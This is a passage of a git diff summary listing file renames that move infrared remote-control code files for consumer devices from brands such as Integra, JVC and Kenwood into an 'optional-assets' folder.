(100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Plasma/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Projector/135,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/123,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/131,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/135,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/2,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/78,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/InFocus/Video Projector/80,79.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Insignia/DVD Player/135,34.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Insignia/TV/134,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Amplifier/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Amplifier/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/CD Player/210,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/DVD Player/210,31.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/DVD Player/210,43.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/DVD Player/69,181.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Digital Audio/210,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Digital Audio/210,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Digital Audio/210,9.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/HD DVD/69,181.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Media PC/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,108.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,172.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,18.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,20.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,21.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,23.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,24.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,25.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,30.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Receiver/210,43.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Tuner/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/Tuner/210,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,108.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,109.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,172.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Integra/iPod/210,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Intervideo/VCR/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JBL/Receiver/64,47.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JBL/Surround Processor/130,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JBL/Surround Processor/132,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JENSEN/VCR/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/179,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/34,33.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/CD Player/34,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Camcorder/211,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Camcorder/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/D-VHS/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/DVD Player/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/DVD Player/239,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/DVD Player/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Karaoke/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Karaoke/191,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Karaoke/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD TV/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/35,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/LCD/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/131,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Mini System/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Monitor/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Monitor/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Plasma/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Projector/115,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/131,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/147,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/191,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/239,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/34,84.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Receiver/83,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/S-VHS/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/16,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/24,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Satellite/8,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Switcher/243,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/TV/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/131,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/147,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Tuner/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/0,14.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/1,14.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/131,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/8,14.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/VCR/83,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Video Projector/115,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Video Projector/131,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kathrein/Satellite/34,144.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Player/182,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/182,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Sirius/2,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Tuner/182,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Tuner/184,1.ir (100%) rename assets/resources/infrared/{ => 